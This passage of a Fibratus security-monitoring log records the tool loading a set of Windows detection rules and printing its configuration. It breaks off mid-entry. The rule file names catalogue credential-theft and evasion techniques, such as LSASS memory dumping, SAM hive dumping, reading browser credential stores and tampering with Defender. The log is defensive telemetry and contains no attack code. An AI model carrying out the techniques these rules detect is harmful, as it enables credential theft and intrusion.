+time=2025-11-12T15:45:51+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-12T15:45:51+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-12T19:25:02+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-12T19:25:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-11-12T19:25:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-11-12T19:25:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-11-12T19:25:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-11-12T19:25:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-11-12T19:25:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-11-12T19:25:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-11-12T19:25:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-11-12T19:25:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-11-12T19:25:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-11-12T19:25:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-11-12T19:25:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-11-12T19:25:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-11-12T19:25:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-11-12T19:25:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-11-12T19:25:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-11-12T19:25:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-11-12T19:25:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-11-12T19:25:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-11-12T19:25:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-11-12T19:25:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-11-12T19:25:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-11-12T19:25:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-11-12T19:25:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-11-12T19:25:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-11-12T19:25:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-11-12T19:25:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-11-12T19:25:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-11-12T19:25:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-11-12T19:25:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-11-12T19:25:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-11-12T19:25:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-11-12T19:25:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-11-12T19:25:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-11-12T19:25:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-11-12T19:25:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-11-12T19:25:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-11-12T19:25:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-11-12T19:25:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-11-12T19:25:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-11-12T19:25:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-12T19:25:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-11-12T19:25:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-11-12T19:25:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-11-12T19:25:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-11-12T19:25:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-11-12T19:25:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-11-12T19:25:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-11-12T19:25:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-11-12T19:25:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-11-12T19:25:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-12T19:25:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-11-12T19:25:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-11-12T19:25:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\execution_process_execution_from_compressed_file_via_explorer.yml source=config/filters.go:355 +time=2025-11-12T19:25:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-12T19:25:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-12T19:25:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-12T19:25:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-12T19:25:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-11-12T19:25:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-11-12T19:25:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-12T19:25:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-12T19:25:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-12T19:25:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-11-12T19:25:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-11-12T19:25:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-11-12T19:25:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-11-12T19:25:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-12T19:25:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-11-12T19:25:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-11-12T19:25:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-11-12T19:25:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-11-12T19:25:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-11-12T19:25:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-12T19:25:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-11-12T19:25:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-11-12T19:25:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-11-12T19:25:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-11-12T19:25:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-11-12T19:25:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-12T19:25:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-11-12T19:25:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-11-12T19:25:02+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:150 +time=2025-11-12T19:25:02+01:00 level=info msg=bootstrapping with pid 19400. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-12T19:25:02+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ mail=>[ port=>25 enabled=>false to=>[] content-type=>text/html use-template=>true] systray=>[ sound=>true enabled=>false quiet-mode=>false] slack=>[ enabled=>false] eventlog=>[ enabled=>true verbose=>true]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-handles=>false serialize-pe=>false serialize-images=>false serialize-threads=>false serialize-envs=>true] + eventsource .................... [ enable-vamap=>true enable-threadpool=>false enable-fileio=>true min-buffers=>16 flush-interval=>1s enable-registry=>true enable-audit-api=>true enable-mem=>false enable-dns=>false buffer-size=>512 enable-thread=>true enable-net=>true enable-image=>true max-buffers=>36 stack-enrichment=>true enable-handle=>false blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]]] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\*.yml] enabled=>true] match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ false + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ max-backups=>15 formatter=>text level=>info log-stdout=>true max-age=>0 max-size=>100] + output ......................... [ amqp=>[ vhost=>/ exchange-type=>topic tls-insecure-skip-verify=>false routing-key=>fibratus passive=>false exchange=>fibratus delivery-mode=>transient durable=>false timeout=>5s url=>amqp://localhost:5672 enabled=>false] elasticsearch=>[ healthcheck-timeout=>5s trace-log=>false enabled=>false timeout=>5s flush-period=>1s gzip-compression=>false servers=>[http://127.0.0.1:9200] healthcheck=>true healthcheck-interval=>10s sniff=>false index-name=>fibratus bulk-workers=>1 template-name=>fibratus] http=>[ endpoints=>[] enable-gzip=>false method=>POST enabled=>false serializer=>json timeout=>5s tls-insecure-skip-verify=>false] eventlog=>[ enabled=>false level=>info] console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} + format=>pretty enabled=>true]] + pe ............................. [ read-resources=>false enabled=>false excluded-images=>[svchost.exe] read-sections=>false read-symbols=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ rename=>[ enabled=>false] replace=>[ enabled=>false] tags=>[ enabled=>false] remove=>[ enabled=>false params=>[]] trim=>[ enabled=>false]] + yara ........................... [ skip-mmaps=>false skip-allocs=>false enabled=>false skip-files=>false rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] scan-timeout=>10s fastscan=>true excluded-files=>[] skip-registry=>false excluded-procs=>[]] source=bootstrap/bootstrap.go:185 +time=2025-11-12T19:25:10+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-12T19:25:12+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-12T19:25:29+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-12T19:25:29+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-12T19:25:29+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-12T19:25:36+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-12T19:25:36+01:00 level=info msg=bootstrapping with pid 12108. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-12T19:25:36+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ eventlog=>[ enabled=>true verbose=>true] systray=>[ enabled=>false quiet-mode=>false sound=>true] mail=>[ enabled=>false use-template=>true to=>[] port=>25 content-type=>text/html] slack=>[ enabled=>false]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-images=>false serialize-handles=>false serialize-pe=>false serialize-threads=>false serialize-envs=>true] + eventsource .................... [ enable-fileio=>true enable-audit-api=>true enable-handle=>false enable-registry=>true stack-enrichment=>true flush-interval=>1s enable-net=>true enable-image=>true enable-dns=>false buffer-size=>512 enable-mem=>false enable-vamap=>true enable-thread=>true enable-threadpool=>false min-buffers=>16 blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] max-buffers=>36] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\*.yml] enabled=>true from-urls=>[]] match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ true + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ log-stdout=>true max-size=>100 max-backups=>15 max-age=>0 formatter=>text level=>info] + output ......................... [ elasticsearch=>[ template-name=>fibratus bulk-workers=>1 trace-log=>false healthcheck-interval=>10s index-name=>fibratus flush-period=>1s sniff=>false gzip-compression=>false timeout=>5s enabled=>false healthcheck=>true servers=>[http://127.0.0.1:9200] healthcheck-timeout=>5s] eventlog=>[ level=>info enabled=>false] amqp=>[ vhost=>/ durable=>false delivery-mode=>transient tls-insecure-skip-verify=>false enabled=>false exchange-type=>topic timeout=>5s url=>amqp://localhost:5672 passive=>false exchange=>fibratus routing-key=>fibratus] console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} + enabled=>true format=>pretty] http=>[ enable-gzip=>false endpoints=>[] timeout=>5s serializer=>json method=>POST tls-insecure-skip-verify=>false enabled=>false]] + pe ............................. [ enabled=>false read-resources=>false read-sections=>false read-symbols=>false excluded-images=>[svchost.exe]] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ remove=>[ params=>[] enabled=>false] rename=>[ enabled=>false] tags=>[ enabled=>false] trim=>[ enabled=>false] replace=>[ enabled=>false]] + yara ........................... [ excluded-procs=>[] skip-registry=>false fastscan=>true scan-timeout=>10s rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] skip-allocs=>false skip-mmaps=>false excluded-files=>[] enabled=>false skip-files=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-12T19:25:37+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-12T19:25:39+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-12T19:25:54+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-12T19:25:54+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-12T19:25:55+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-12T19:27:52+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-12T19:27:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-11-12T19:27:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-11-12T19:27:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-11-12T19:27:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-11-12T19:27:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-11-12T19:27:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-11-12T19:27:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-11-12T19:27:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-11-12T19:27:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-11-12T19:27:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-11-12T19:27:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-11-12T19:27:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-11-12T19:27:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-11-12T19:27:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-11-12T19:27:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-11-12T19:27:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-11-12T19:27:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-11-12T19:27:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-11-12T19:27:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-11-12T19:27:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-11-12T19:27:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-11-12T19:27:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-11-12T19:27:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-11-12T19:27:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-11-12T19:27:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-11-12T19:27:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-11-12T19:27:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-11-12T19:27:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-11-12T19:27:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-11-12T19:27:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-11-12T19:27:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-11-12T19:27:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-11-12T19:27:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-11-12T19:27:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-11-12T19:27:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-11-12T19:27:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-11-12T19:27:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-11-12T19:27:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-11-12T19:27:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-11-12T19:27:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-11-12T19:27:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-12T19:27:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-11-12T19:27:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-11-12T19:27:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-11-12T19:27:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-11-12T19:27:52+01:00 level=info msg=loading rule from 